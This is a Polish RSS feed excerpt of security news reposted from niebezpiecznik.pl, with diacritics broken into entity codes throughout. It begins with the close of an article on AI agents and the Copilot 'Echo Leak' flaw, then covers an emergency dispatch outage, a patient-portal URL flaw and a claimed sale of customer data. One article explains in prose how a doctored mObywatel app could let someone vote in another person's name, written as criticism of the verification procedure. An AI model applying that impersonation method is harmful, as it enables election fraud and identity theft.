To kolejny dowand#243;d na to, and#380;e AI moand#380;e byand#263; and#8220;toksycznie pomocnaand#8221;. Badacze AIM, ktand#243;rzy wykryli Echo Leak, rekomendujand#261; m.in. ograniczanie przetwarzania wiadomoand#347;ci e-mail przez M365 Copilot przy uand#380;yciu etykiet poufnoand#347;ci. Oczywiand#347;cie wand#322;and#261;czenie tych funkcji ograniczy nieco moand#380;liwoand#347;ci Copilota, ale wand#322;aand#347;ciwie o to chodzi.

and#160;
Ludzie tak samo winni jak gand#322;upie agenty AI
Oczywiand#347;cie w tych przypadkach problem nie leand#380;y tylko w AI. Podstawowy problem leand#380;y w tym, and#380;e ludzie nadmiernie ufaja AI. Wydaje siand#281;and#160;im, and#380;e to taki mand#261;dry koleand#380;ka, ktand#243;ry nie tylko odpisze na maile i ogarnie zakupy, ale w razie problemand#243;w wykryje zagroand#380;enie. Tymczasem jest dokand#322;adnie odwrotnie and#8212; AI moand#380;e nie wykryand#263; oszustwa tam, gdzie raczej kaand#380;dy czand#322;owiek by to zrobiand#322;.

Oddawanie uprawnieand#324; modelom AI (i to jeszcze dziaand#322;ajand#261;cym w cudzej chmurze) do caand#322;oand#347;ci korespondencji (skrzynki e-mail), bankowoand#347;ci (Jezus Maria!) albo innych istotnych serwisand#243;w, w ktand#243;rych zand#322;e ruchy mogand#261; naraziand#263; uand#380;ytkownika na potand#281;and#380;ny band#243;l, stratand#281; lub smutek and#8212; to szaleand#324;stwo!

Co robiand#263;? Jak and#380;yand#263;?
Nie powinniand#347;my patrzeand#263; na powyand#380;sze odkrycia jako wyand#322;and#261;cznie problemy konkretnych narzand#281;dzi: Comet czy Copilota. Wszyscy przywoand#322;ani powyand#380;ej badacze podkreand#347;lajand#261;, and#380;e band#281;dziemy mieand#263; szerszy problem z agentami AI. Obecnie trudno uznaand#263;, aby te narzand#281;dzia byand#322;y dobrze przetestowane, dlatego lepiej nie zezwalaand#263; im na dostand#281;p do przegland#261;darek w ktand#243;rych wyand#347;wietlane sand#261; serwisy z istotnymi czy poufnymi danymi. Chcesz siand#281; bawiand#263; z agentami AI? Zrand#243;b to na osobnej przegland#261;darce, na ktand#243;rej nie logujesz siand#281;and#160;do swoich gand#322;and#243;wnych kont.
Teraz pozostaje czekaand#263; na te sierotki, ktand#243;re agenty AI band#281;dand#261; uruchamiaand#263; (bez zgody swojego pracodawcy) na firmowym sprzand#281;cie, przegland#261;darkach i kontach. and#379;eby and#8220;za nich pracowaand#322;yand#8221;, and#380;eby byand#322;o wiand#281;cej czasu na kawusiand#281; i and#347;mieszne filmiki z kotami. Nie moand#380;emy siand#281;and#160;doczekaand#263;!
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 25 sierpnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Dzwonisz na 112 a Twoje dane medyczne i osobowe lądują na Discrodzie i Whatsappie dyspozytorów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1567</link>
			<description><![CDATA[ Nagand#322;and#243;wek brzmi przeraand#380;ajand#261;co, prawda? Ale wbrew pozorom, to dobrze, and#380;e dane Polakand#243;w byand#322;y dziand#347; and#8212; niezgodnie z wytycznymi i zdrowym rozsand#261;dkiem and#8212; przetwarzane na prywatnych grupach na Whatsappie i w nieszyfrowanej chmurze komunikatora Discord. Bo gdyby tak nie byand#322;o, to do wielu osand#243;b karetki pogotowia ratunkowego mogand#322;yby dojechaand#263;and#160;pand#243;and#378;niej. Albo w ogand#243;le nie dojechaand#263;. Wszystkiemu winna awarii.
Rano na naszand#261; skrzynkand#281; wpadand#322;o zgand#322;oszenie od jednego z dyspozytorand#243;w, and#380;e trwa awaria Systemu Wspomagania Dowodzenia Paand#324;stwowego Ratownictwa Medycznego. Ten system, w uproszczeniu, odpowiada miand#281;dzy innymi za przyjmowanie zgand#322;oszeand#324; alarmowych i przekazywanie ich do zespoand#322;and#243;w ratownictwa medycznego. Dziand#281;ki niemu wiadomo kogo trzeba uratowaand#263; i gdzie sand#261; zespoand#322;y. No ale aktualnie ten system przestaand#322; dziaand#322;aand#263; poprawnie. Jakand#160;informujeand#160;Krajowe Centrum Monitorowania Ratownictwa Medycznego, awaria rozpoczand#281;and#322;a siand#281;and#160;o 10:00 i and#8230;chyba dalej trwa. Natomiast po 3 godzinach (!) system przeand#322;and#261;czono na and#8220;oand#347;rodek zapasowyand#8221;. Przyczynand#261; awarii miaand#322; byand#263; and#8220;problem technicznyand#8221; z bazami danych, ale sprawa band#281;dzie jeszcze wyjaand#347;niana.

Wedand#322;ug KCMRM, w trakcie awarii (tj. przed przeand#322;and#261;czeniem na system zapasowy) komunikacja odbywaand#322;a siand#281;and#160;w trybie awaryjnym, w oparciu o and#8220;drogand#281; telefonicznand#261;and#8221;, a problemy nie miaand#322;y wpand#322;ywu na przyjmowanie wezwaand#324;.
Dyspozytorzy podwaand#380;ajand#261; oand#347;wiadczenie KCMRM
Innego zdania sand#261; osoby prowadzand#261;ce profil and#8220;Ratownictwo Medyczne band#281;dzie rozmowa proszand#281; czekaand#263;and#8220;. W swoich postach wskazujand#261;, and#380;eand#160;do awarii systemu SWD PRM miaand#322;o dojand#347;and#263;and#160;w nocy i trwaand#322;a ona and#322;and#261;cznie kilkanaand#347;cie godzin, a niektand#243;re ze zgand#322;oszeand#324; z kierowanych na numery alarmoweand#160;w ogand#243;le nie zostaand#322;y odebrane. Nie dziaand#322;aand#263; miaand#322;y teand#380; radiostacje a dyspozytorzy zmuszeni byli dzwoniand#263; do zespoand#322;and#243;w ratownictwa medycznego na numery sand#322;uand#380;bowe.

Dyspozytorzy Medyczni przekazujand#261; nam dramatyczne informacje: Poand#322;and#261;czenie z zatrzymaniem krand#261;and#380;enia oczekiwaand#322;o w prand#243;and#380;ni na odebranie ponad 13 minut, dyspozytornia medyczna nie mogand#322;a go odebraand#263; i nie widziaand#322;a go w systemie! Wypadek drogowy, dwie osoby w stanie krytycznym, wszystkie sand#322;uand#380;by oprand#243;cz pogotowia w trakcie realizacji. Operator Numeru Alarmowego 112 wysand#322;aand#322; formatkand#281;, Dyspozytor Medyczny 999 nie widzi jej, nie moand#380;e utworzyand#263; karty zlecenia wyjazdu. Nie dziaand#322;ajand#261; mapy z lokalizacjami zespoand#322;and#243;w!


Prowadzand#261;ce profil osoby wyraziand#322;y teand#380; rozgoryczenie na oficjalne stanowisko:

Przykro czytaand#263; w internecie oficjalne stanowiska, and#380;e and#8220;wszystko jest pod kontroland#261;, a awaria nie wpand#322;ywa na czas otrzymania pomocy i wyjazdu zaand#322;ogi pogotowiaand#8221;, gdy w wiadomoand#347;ciach prywatnych otrzymujemy dziesiand#261;tki wiadomoand#347;ci od dyspozytorand#243;w medycznych, ktand#243;re przedstawiajand#261; inny stan rzeczy, a ktand#243;rych z wiadomych wzgland#281;dand#243;w nie moand#380;emy opublikowaand#263;and#8230;


Na profilu ujawniono teand#380; screeny od dyspozytorand#243;w, ktand#243;re pokazujand#261;, and#380;e koordynujand#261;and#160;oni swojand#261; pracand#281; i komunikacjand#281; z ZRM poprzezand#8230; WhatsAppa i Discorda.
To rodzi wiele pytaand#324;, ale przede wszystkim jedno, podstawowe:and#160;Dlaczego procedura awaryjnej komunikacji, ktand#243;ra przecieand#380; jest, nie zadziaand#322;aand#322;a lub dlaczego dyspozytorzy nie chcieli z niej korzystaand#263; i woleli wybraand#263; Discorda.
Smutne jest takand#380;e, and#380;e o problemach z krytycznym systemem opinia publiczna dowiaduje siand#281; and#8220;bokiemand#8221;. Bo moand#380;e gdyby czand#281;and#347;and#263;and#160;osand#243;b wiedziaand#322;a, and#380;e nie ma co liczyand#263; na szybkie dotarcie karetki, sprawand#281; wziand#281;and#322;aby w niektand#243;rych przypadkach w swoje rand#281;ce. Jak? Tak:
112 nie dziaand#322;a and#8212; co robiand#263;, jak and#380;yand#263;?
O tym jak zachowaand#263; siand#281;, kiedy nie dziaand#322;a 112 lub inny numer alarmowyand#160;pisaliand#347;my 3 lata temu, ale przypomnijmy.
1. Jeand#347;li nie moand#380;esz dodzwoniand#263; siand#281; na 112 lub 999, sprand#243;buj zadzwoniand#263; na 998 lub 997. Inne sand#322;uand#380;by mogand#261; byand#263; Ci w stanie pomand#243;c takand#380;e w niektand#243;rych przypadkach medycznych, np. zatrzymania krand#261;and#380;enia (zwand#322;aszcza straand#380;acy). 2. Zawczasu wygooglaj sobie numery bezpoand#347;rednie do lokalnych SOR-and#243;w, jednostek straand#380;y poand#380;arnej czy dyspozytornii pogotowia w Twojej dzielnicy 3. Jeand#347;li sytuacja na to pozwala, dostarcz pacjenta samodzielnie
A co na to RODO?
Nie wydaje siand#281; nam, aby jakikolwiek pacjent, ktand#243;remu dziand#347;and#160;uratowano and#380;ycie band#281;dzie miaand#322; pretensje do dyspozytorand#243;w, and#380;e jego dane osobowe (np. adres) lub medyczne wgrali do nieszyfrowanej chmury komunikatora dla graczy komputerowych. W sytuacji zagroand#380;enia and#380;ycia nikt raczej nie band#281;dzie siand#281; przejmowaand#263; naruszeniami RODO. Pozostaje mieand#263; nadziejand#281;, and#380;e nikomu nie przyjdzie do gand#322;owy ganiand#263;, and#347;cigaand#263; lub w inny sposand#243;b karaand#263; dyspozytorand#243;w, ktand#243;rzy aby ratowaand#263; and#380;ycie i zdrowie siand#281;gnand#281;li po pozasystemowe metody komunikacji.
Trzymamy kciuki za wszystkich pracownikand#243;w ochrony zdrowia, ktand#243;rzy and#8212; jak widaand#263; and#8212; dajand#261; radand#281;, nawet kiedy system zawodzi.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 28 sierpnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ mObywatel i fałszowanie wyborów prezydenckich przez masowe oddawanie głosów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1565</link>
			<description><![CDATA[ and#8230;niestety band#281;dzie moand#380;liwe i zdecydowanie taand#324;sze niand#380; podrabianie innych dokumentand#243;w potwierdzajand#261;cych toand#380;samoand#347;and#263;. Choand#263; nieand#322;atwe, wiand#281;cand#160;niekoniecznie naleand#380;y wpadaand#263;and#160;w panikand#281;, jeand#347;li chodzi o przyszand#322;oand#347;and#263; naszej demokracji. Natomiast na pewno naleand#380;y wpadaand#263; w panikand#281;, jeand#347;li chodzi o stan cyfryzacji PKWand#8230; Ale zacznijmy od poczand#261;tku.
Moand#380;esz sobie pobraand#263; faand#322;szywy mDowand#243;d za darmo
Wiemy, and#380;e istniejand#261;and#160;and#322;atwe do zdobycia i darmowe aplikacje-podrand#243;bki mObywatela, ktand#243;re sand#261; uand#380;ywane m.in. przez dzieci, aby kupowaand#263; energetyki. Faand#322;szywe mDowody dziaand#322;ajand#261;, bo kluczowym problemem w naszym spoand#322;eczeand#324;stwie jest to, and#380;e nie tylko kasjerzy, ale wszyscy and#8212; takand#380;e urzand#281;dnicy paand#324;stwowi and#8212;and#160;nie wiedzand#261; jak poprawnie zweryfikowaand#263; toand#380;samoand#347;and#263; kogoand#347;, kto legitymuje siand#281; mDowodem. Nie,and#160;nie jestand#160;to sprawdzenie tego, czy flaga faluje, a hologram zmienia kolor, kiedy poruszy siand#281; smartfonem. Poprawna weryfikacja wymaga poproszenia weryfikowanej osoby o zeskanowanie kodu QR lub przepisanie 6 cyfr widocznych np.and#160;na tej stronie. Dopiero wtedy widzimyand#160;na naszym urzand#261;dzeniu, czy osoba przed nami jest tym, a kogo siand#281; podaje. Niestety, nawet Ministerstwo Cyfryzacji w swoich instrukcjach i poradnikach nie zawsze wyraand#378;nie zaznacza, and#380;e to jestand#160;jedyny wiarygodny sposand#243;b sprawdzenia autentycznoand#347;ci mDowodu. I dlatego nie tylko dzieci posand#322;ugujand#261; siand#281; faand#322;szywkami w najlepsze.
and#160;
PKW teand#380; nie wie jak sprawdzaand#263; autentycznoand#347;and#263; mDowodu?
Otoand#160;wytyczneand#160;PKW dotyczand#261;ce wyborand#243;w prezydenckich i weryfikacji toand#380;samoand#347;ci obywatela przy pomocy aplikacji mObywatel:

Na podstawie powyand#380;szych zaleceand#324; moand#380;na odnieand#347;and#263; wraand#380;enie, and#380;e PKW, podobnie jak kasjerzy w sklepach, teand#380; nie rozumie na czym polega kryptograficzna metoda weryfikacji mDowodu. Niby jest coand#347; o skanowaniu kodu, ale:

podczas wyborand#243;w uand#380;ywany band#281;dzieand#160;jeden i ten sam kod QR do weryfikacji wielu rand#243;and#380;nych osand#243;b. Nie wiemy, czy jeden i ten sam na caand#322;and#261;and#160;Polskand#281;, czy moand#380;e jeden and#8220;per komisjaand#8221;. Z tego co ustaliliand#347;my rozmawiajand#261;c z osobami, ktand#243;re sand#261; wtajemniczone w procedury organizacji wyborand#243;w, wynika, and#380;e w ramach danej komisji na pewno ten kodand#160;nie band#281;dzie siand#281;and#160;zmieniaand#322; w czasie.

Po zeskanowaniu tego kodu ma siand#281; pojawiaand#263; specjalna and#8220;wizytand#243;wka wyborcza obywatelaand#8220;, ktand#243;ra band#281;dzie sprawdzana przez czand#322;onka komisji and#8230;okiem. A to umoand#380;liwia oszustwa.
Dlaczego takie podejand#347;cie to problem?
Bo skoro komisja dysponuje kartand#261; papieru, a nie urzand#261;dzeniem elektronicznym (smartfonem lub komputerem), to autentycznoand#347;and#263; mDowodu wyborcy musi okreand#347;liand#263; wyand#322;and#261;cznie na podstawieand#160;TEGO CO POJAWI SIand#280;and#160;NA SMARTFONIE WYBORCY, a nie tak jak powinna and#8212; na swoim urzand#261;dzeniu.
Ze smartfonem wyborcy jest ten problem, and#380;e jest smartfonem wyborcy. On go kontroluje i moand#380;e pokazaand#263; na ekranie to, chce. Wiand#281;cand#160;Zand#322;y Czand#322;owiekand#160;(czyli osoba, ktand#243;ra chciaand#322;by zagand#322;osowaand#263; za kogoand#347;) po prostu przerobiand#160;i uruchomi jednand#261; z darmowych podrand#243;bek aplikacji mObywatel tak, aby po zeskanowaniu kodu prezentowaand#322;a and#8220;wizytand#243;wkand#281; wyborczand#261; obywatelaand#8221;. Oddanie gand#322;osu za kogoand#347; wygland#261;daand#322;oby wtedy tak:

Zand#322;y Czand#322;owiek skanuje lewand#261; apkand#261; kod QR z kartki czand#322;onka komisji
Faand#322;szywa apka prezentuje podrobionand#261; and#8220;wizytand#243;wkand#281; wyborczand#261; obywatelaand#8221; w takiej szacie graficznej, jakiej spodziewa siand#281; komisja i z danymi osoby, za ktand#243;rand#261; Zand#322;y Czand#322;owiek chce oddaand#263; gand#322;os.
Koniec

Jedynym zabezpieczeniem przed powyand#380;szym atakiem jest to, and#380;e and#8230;wygland#261;d szaty graficznej wizytand#243;wki wyborczej obywatela ma byand#263; znany osobom niewtajemniczonym dopiero w dniu wyborand#243;w. A zatem Zand#322;y Czand#322;owiek musi najpierw zdobyand#263; screenshot wizytand#243;wki wyborczej obywatela (swojej lub cudzej), aby mand#243;c umieand#347;ciand#263; jand#261; w faand#322;szywej aplikacji mObywatel przed opisanym wyand#380;ej atakiem.
To niestety and#380;adne zabezpieczenie.and#160;Wybory trwajand#261; od rana do wieczora, a wprowadzenie zmian do aplikacji sprawnemu programiand#347;cie zajmie zapewne od kilku do kilkunastu minut. Potem faand#322;szywand#261; apkand#281; moand#380;na wand#160;tysiand#261;cachand#160;rozesand#322;aand#263; armii swoich and#8220;Zand#322;ych Czand#322;owiekand#243;wand#8221;.
Tak da siand#281;and#160;zagand#322;osowaand#263; za kogoand#347;, aleand#8230;
Wykazaliand#347;my powyand#380;ej, and#380;e procedura weryfikacji toand#380;samoand#347;ci przez mObywatela jest zand#322;a, dziurawa i bardzo and#322;atwa do ominiand#281;cia. Niewiele trudniejsza do obejand#347;cia od poprzedniej formy weryfikacji wyborcand#243;w przez czand#322;onkand#243;w komisji, czyli sprawdzania okiem, czy na mDowodzie powiewa flaga.
Ale czy dopuszczenie weryfikacji wyborcand#243;w przez mDowand#243;d moand#380;e realnie zagroziand#263; wynikowi wyborczemu? O ile faand#322;szowanie aplikacji mObywatel jestand#160;banalnie proste, zdecydowanie taand#324;sze i o wieleand#160;lepiej skalowalneand#160;niand#380; podrabianie innych dokumentand#243;w, na podstawie ktand#243;rych komisja teand#380; moand#380;e potwierdziand#263; czyjand#261;and#347;and#160;toand#380;samoand#347;and#263; (np. legitymacji szkoand#322;y and#347;redniej) to aby odnieand#347;and#263; jakikolwiek mierzalny efekt w wyborach ogand#243;lnopolskich, faand#322;szywych gand#322;osand#243;w trzeba oddaand#263;and#160;wieleand#160;(setki? tysiand#261;ce?), a dodatkowo:

Wiedzieand#263;and#160;pod kogo siand#281;and#160;podszyand#263;
Wiedzieand#263; do ktand#243;rej komisji siand#281; udaand#263;
Byand#263; tam zanim pojawi siand#281; osoba, pod ktand#243;rand#261;and#160;siand#281; podszywa (a idealnie, to podszyand#263; siand#281; pod kogoand#347;, kto nigdy siand#281; nie pojawi)

Przyznacie, and#380;e jest z tym trochand#281; zachodu. Zand#322;y Czand#322;owiek dysponujand#261;cy lewym mDowodem, aby przeprowadziand#263;and#160;istotnyand#160;atak faktycznie wpand#322;ywajand#261;cy na wybory musi siand#281; napracowaand#263;. Innymi sand#322;owy, najwiand#281;kszym wyzwaniem masowego and#8220;gand#322;osowania za kogoand#347;and#8221; jest, naszym zdaniem, problem logistyczny i osobowy, a nie trudnoand#347;and#263; w podrobieniu dokumentu lub aplikacji.
Co na to Ministerstwo Cyfryzacji i PKW?
W sprawie tej dziurawej procedury weryfikacji toand#380;samoand#347;ci wyborcand#243;w przy pomocy mDowodu skontaktowaliand#347;my siand#281; zarand#243;wno z Ministerstwem Cyfryzacji jak i z Paand#324;stwowand#261; Komisjand#261; Wyborczand#261;. Zadaliand#347;my tylko dwa pytania:

Czy kody QR band#281;dand#261; unikatowe dla kaand#380;dej komisji lub ewentualnie jednorazowe?
Czy ekran na smartfonie pokaand#380;e tylko proste potwierdzenie danych, czy jakiand#347; sekret umoand#380;liwiajand#261;cy weryfikacjand#281; czy jest to wand#322;aand#347;ciwa aplikacja?

Zacznijmy od komentarza PKW, ktand#243;reand#8230;and#160;odmand#243;wiand#322;o nam komentarza, twierdzand#261;c, w skrand#243;cie, and#380;e

nic Wam nie powiemy, ze wzgland#281;du na obawy o bezpieczeand#324;stwo tej procedury

Dobre, nie? Oni wiedzand#261;, and#380;e to co robiand#261; nie jest bezpieczne. O ile PKW wybraand#322;o drogand#281; and#8220;security by obscurityand#8220;, ktand#243;ra nigdy dobrze siand#281; nie koand#324;czy, to Ministerstwo Cyfryzacji na nasze pytania odpowiedziaand#322;o tak:

Na potrzeby wyborand#243;w metoda [kryptograficznej weryfikacji przez kod QR and#8212; dop. red.] zostaand#322;a zmodyfikowana i dostosowana do specyfiki wydarzenia oraz przede wszystkim moand#380;liwoand#347;ci technicznych okrand#281;gowych komisji wyborczych, ktand#243;re nie dysponujand#261; sprzand#281;tem pozwalajand#261;cym na dokonanie weryfikacji kryptograficznej, standardowo zaimplementowanej w aplikacji mObywatel. Kaand#380;da z komisji wraz z pakietem wyborczym otrzyma kod QR. Po jego zeskanowaniu, na telefonie obywatela chcand#261;cego potwierdziand#263; swojand#261; toand#380;samoand#347;and#263; za pomocand#261; mDowodu wyand#347;wietli siand#281; ekran, prezentujand#261;cy jego dane pochodzand#261;ce z Rejestru Dowodand#243;w Osobistych orazand#160;dodatkowe unikalne elementy, ktand#243;re pozwoland#261; na skutecznand#261; weryfikacjand#281; autentycznoand#347;ci dokumentu.Ekran ten moand#380;e zostaand#263; wywoand#322;any dopiero w dniu wyborand#243;w, co dodatkowo ogranicza moand#380;liwoand#347;and#263; jego nielegalnego podrobienia.

I ta odpowiedand#378; pokazuje sand#322;aboand#347;and#263; naszego paand#324;stwa lub teand#380;, jak kto woli, niemoc PKW. Bo brak poprawnej kryptograficznie weryfikacji toand#380;samoand#347;ci (ktand#243;rand#261; and#8212; przypomnijmy and#8212;and#160;wszyscy mamy pod rand#281;kand#261;) wynika wyand#322;and#261;cznie z tego, and#380;e PKW nie ma kasy na sprzand#281;t dla komisji. Technicznie wszystko jest moand#380;liwe, brakuje tylko komputerand#243;w lub smartfonand#243;w dla komisji. I dlatego bezpieczeand#324;stwo caand#322;oand#347;ci opieraand#263; siand#281; band#281;dzie na and#8220;unikalnych elementachand#8221; w postaci aktualnego czasu, czy napisu and#8220;I TURAand#8221;and#8230;
Nie nam oceniaand#263;, czy koszt wyposaand#380;enia komisji wyborczych w komputery/smartfony jest wyand#380;szy czy niand#380;szy niand#380; ryzyko pand#322;ynand#261;ce ze sfaand#322;szowania wyniku wyborand#243;w przez posand#322;ugiwanie siand#281; and#322;atwymi do wytworzenia na masowand#261; skaland#281; lewymi mDowodami. Ale jak najbardziej nam oceniaand#263; to, czy powinno siand#281; w ogand#243;le wdraand#380;aand#263; weryfikacjand#281; mDowodem, jeand#347;li wiadomo, and#380;e nie da siand#281; jej wdroand#380;yand#263; w sposand#243;b wiarygodny i bezpieczny? I odpowiedand#378; brzmi: nie.
To jest farsa.
Przez lata radziliand#347;my sobie przy urnach bez mObywatela, wiand#281;c jak PKW nie potrafi w 100% wiarygodnie sprawdzaand#263; jego autentycznoand#347;ci, to nie powinien byand#263;and#160;dopuszczony jako narzand#281;dzie do weryfikacji toand#380;samoand#347;ci obywatela?
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 14 maja 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Dane pacjentów pewnego szpitala wyciekły przez Internetowe Konto Pacjenta ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1566</link>
			<description><![CDATA[ Zmiana adresu URL w przegland#261;darce pozwalaand#322;a na pobranie dokumentacji medycznej rand#243;and#380;nych osand#243;b przez Internetowe Konto Pacjenta. Band#322;and#261;d dotyczyand#322; prawdopodobnie pacjentand#243;w jednego szpitala.

Ministerstwo Zdrowia na swojej stronie internetowej w doand#347;and#263; niepozornej zakand#322;adce and#8220;komunikatyand#8221;and#160; zamieand#347;ciand#322;o and#8220;Komunikat o naruszeniu ochrony danych osobowychand#8220;. Czyje dane wyciekand#322;y? To nie jest pewne, natomiast komunikat mand#243;wi o doand#347;and#263; powaand#380;nym incydencie. Otand#243;and#380;and#160;uand#380;ytkownicy Internetowego Konta Pacjenta mogli podejrzeand#263; dane innych osand#243;b.

Czerwone strzaand#322;ki dodane przez redakcjand#281; Niebezpiecznik.pl

Co siand#281; staand#322;o?
Z komunikatu wynikaand#160;28 kwietnia 2025 r.and#160;Centrum e-Zdrowia powiadomiand#322;o ministerstwo o podatnoand#347;ci w IKP. Polegaand#322;a ona na tym, and#380;e:

w przypadkuand#160;wprowadzenia zmian w adresie URL w przegland#261;darce internetowejand#160;podczas pracy z aplikacjand#261; IKP moand#380;liwy byand#322; nieuprawniony dostand#281;p do dokumentacji medycznej (EDM) innych uand#380;ytkownikand#243;w. Zatem z poziomu aplikacji IKP moand#380;liwa byand#322;a rand#281;czna edycja adresu URL w przegland#261;darce, dokonanie zmiany fragmentu adresu i wykonanie operacji pobrania dokumentu EDM (elektronicznej dokumentacji medycznej and#8211; przyp. red.).

Na pierwszy rzut oka wydaje siand#281; to banalnym band#322;and#281;dem podobnym do tego, ktand#243;ry w przeszand#322;oand#347;ci wystand#261;piand#322;and#160;w systemie wnioskand#243;w paszportowych. Jednak w komunikacie jest jeszcze jedna ciekawostka. Otand#243;and#380; standardowo pobranie dokumentacji z IKP moand#380;liwe jest tylko po tym, jak podmiot leczniczy zweryfikuje uprawnienia po swojej stronie w systemie P1.

W opisanym zdarzeniu weryfikacja taka nie miaand#322;a miejsca. Niezaleand#380;nie od moand#380;liwoand#347;ci modyfikacji adresu URL, po stronie podmiotu leczniczego powinna byand#263; realizowana obowiand#261;zkowa weryfikacja uprawnieand#324; uand#380;ytkownika, zgodnie z obowiand#261;zujand#261;cand#261; dokumentacjand#261; integracyjnand#261;.

Zdarzenie moand#380;na zakwalifikowaand#263; jako and#8220;wyciekand#8221; poniewaand#380; jakiand#347; uand#380;ytkownik wykorzystaand#322; band#322;and#261;d i pobraand#322; dokumentacjand#281; medycznand#261; czterech innych osand#243;b. Ten uand#380;ytkownik and#8211; jak rozumiemy and#8211; zgand#322;osiand#322; problem, ale nie ujawniand#322; czyje dane pozyskaand#322;. Doszand#322;o wiand#281;c do nieuprawnionego ujawnienia danych (przynajmniej?) czterech osand#243;b w postaci:

imienia i nazwiska,
daty urodzenia,
adresu zamieszkania lub pobytu,
numeru PESEL,
informacji o dowodzie osobistym,
danych dotyczand#261;cych zdrowia (!!!!!!).

Moand#380;na sand#261;dziand#263;, and#380;e podatnoand#347;and#263; byand#322;aand#160;ograniczona do konkretnego repozytorium w konkretnym podmiocie leczniczym. Ministerstwo doszand#322;o do takiego wniosku gdyand#380; po zgand#322;oszeniu przeprowadzono testy przy uand#380;yciu konta IKP innej osoby i repozytorium innego podmiotu. Nie udaand#322;o siand#281; odtworzyand#263; sytuacji. Dalsza analiza wykazaand#322;a, and#380;e po stronie konkretnego szpitala nie zabezpieczono repozytorium danych w zakresie wymogu weryfikacji uprawnieand#324; uand#380;ytkownika na poziomie systemu P1. W sprawie interweniowaand#322; CSIRT CeZ (czyli zespand#243;and#322; reagowania na incydenty dziaand#322;ajand#261;cy przy Centrum e-Zdrowia). Skontaktowaand#322; siand#281; on ze szpitalem, ktand#243;ry potwierdziand#322; band#322;and#261;d w usand#322;udze dostarczanej do podmiotu leczniczego. Dostawca repozytorium zadeklarowaand#322; naprawand#281; tego band#322;and#281;du do dnia 25 kwietnia i and#8220;w dniu 25 kwietnia 2025 r. przekazaand#322; informacje o przygotowaniu poprawki do systemand#243;w repozytorium w podmiotach leczniczychand#8221;. Miejmy nadziejand#281;, and#380;e poprawka zostaand#322;a wdroand#380;ona, bo z komunikatu to jasno nie wynika.
Przynajmniej zgand#322;osili do UODO
Ministerstwo oand#347;wiadczyand#322;o. and#380;e 29 kwietnia 2025 r. opisane naruszenie ochrony danych osobowych zostaand#322;o zgand#322;oszone Prezesowi Urzand#281;du Ochrony Danych Osobowych. To nas bardzo cieszy bo nie zawsze byand#322; to standard w ochronie zdrowia. Kilka lat temu opisywaliand#347;my przypadekand#160;dopisania naszemu Czytelnikowi dodatkowego synaand#160;w systemie Pacjent.gov.pl. Wand#243;wczas incydentu nie zgand#322;oszono do UODO (a przynajmniej nie zrobiono tego przez pand#243;and#322; roku), ale mogand#322;o to wynikaand#263; z faktu, and#380;e wina leand#380;aand#322;a czand#281;and#347;ciowo po stronie ZUSu i na jakimand#347; etapie sprawy chyba nikt nie czuand#322; siand#281; szczegand#243;lnie winny.
CeZ: and#8220;Potwierdzamy, and#380;e dotyczyand#322;o to tylko kilku osand#243;band#8221;
Niestety naszym zdaniem komunikat Ministerstwa Zdrowia ma pewne braki. Nie wynika z niego jasno czy ustalono osoby, ktand#243;rych dane zostaand#322;y w sposand#243;b nieuprawniony ujawnione. Nie podano teand#380; nazwy szpitala, w ktand#243;rego repozytorium znaleziono band#322;and#261;d. Nie poinformowano od kiedy podatnoand#347;and#263; byand#322;a w systemie i czy przeprowadzono analizy w zakresie innych przypadkand#243;w jej naduand#380;ywania.and#160;Z dodatkowymi pytaniami w tym zakresie zwrand#243;ciliand#347;my siand#281; do Ministerstwa Zdrowia. Rzeczniczka prasowa ministerstwa Renata Jeziand#243;and#322;kowska odesand#322;aand#322;a nas do Centrum e-Zdrowia, a ono odpowiedziaand#322;o na dodatkowe pytania.
and#8212;and#160;Potwierdzamy, and#380;e sprawa dotyczyand#322;a zaledwie kilku osand#243;band#160;and#8211; czytamy w e-mailu, w ktand#243;rym CeZ odpowiedziaand#322;o na nasze pytania and#8211;and#160;Nie byand#322;o teand#380; moand#380;liwoand#347;ci sprawdzenia danych dowolnego pacjenta w ramach systemu P1, a jedynie w obszarze bardzo ograniczonej bazy repozytorium niewand#322;aand#347;ciwie przygotowanego przez niezaleand#380;nego dostawcand#281;. Dodatkowo, mimo iand#380; obowiand#261;zek spoczywajand#261;cy na podmiocie zewnand#281;trznym, ze strony Ministerstwa Zdrowia oraz Centrum e-Zdrowia dopilnujemy, by bezpoand#347;rednio zainteresowane osoby zostaand#322;y poinformowane o zaistniaand#322;ym incydencie.and#160;
CeZ nie odpowiedziaand#322;o na nasze pytanie o to jakiego szpitala dotyczyand#322; incydent and#8220;ze wzgland#281;du na dobrze pojand#281;te bezpieczeand#324;stwo i cyberbezpieczeand#324;stwo wszystkich zaangaand#380;owanych stronand#8221;, natomiast szczegand#243;and#322;y dotyczand#261;ce tej podatnoand#347;ci pojawiand#261; siand#281; zapewne na stronach CERT Polska, bo and#8211; wedand#322;ug wiedzy CeZ and#8211; uruchomiona zostaand#322;a procedura przyznania tej podatnoand#347;ci oznaczenia CVE. Dodajmy teand#380;, and#380;e komunikat w tej sprawie zamieszczono na stronie CeZ i w nim juand#380; napisano, and#380;e and#8220;analizy nie wykazaand#322;y naduand#380;ycia tej podatnoand#347;ciand#8221;.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 8 maja 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych klientów Empiku? Ktoś oferuje bazę na sprzedaż ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1564</link>
			<description><![CDATA[ Jak informuje nas czytelnik Arkadiusz, na jednym z cyberprzestand#281;pczych forand#243;w ktoand#347;and#160;opublikowaand#322; ogand#322;oszenie sprzedaand#380;y bazy, ktand#243;ra ma zawieraand#263; dane ponoand#263; 24 milionand#243;w klientand#243;w Empiku. Oto screen dodanego ogand#322;oszenia:

Sprzedawca do ogand#322;oszenia dodaand#322; prand#243;bkand#281;, ktand#243;ra zawiera dane kilkudziesiand#281;ciu klientand#243;w:

Jak widaand#263;, zawiera ona poniand#380;sze dane:

Imiand#281; i nazwisko
Numer telefonu
Adres zamieszkania (dostawy?)
E-mail
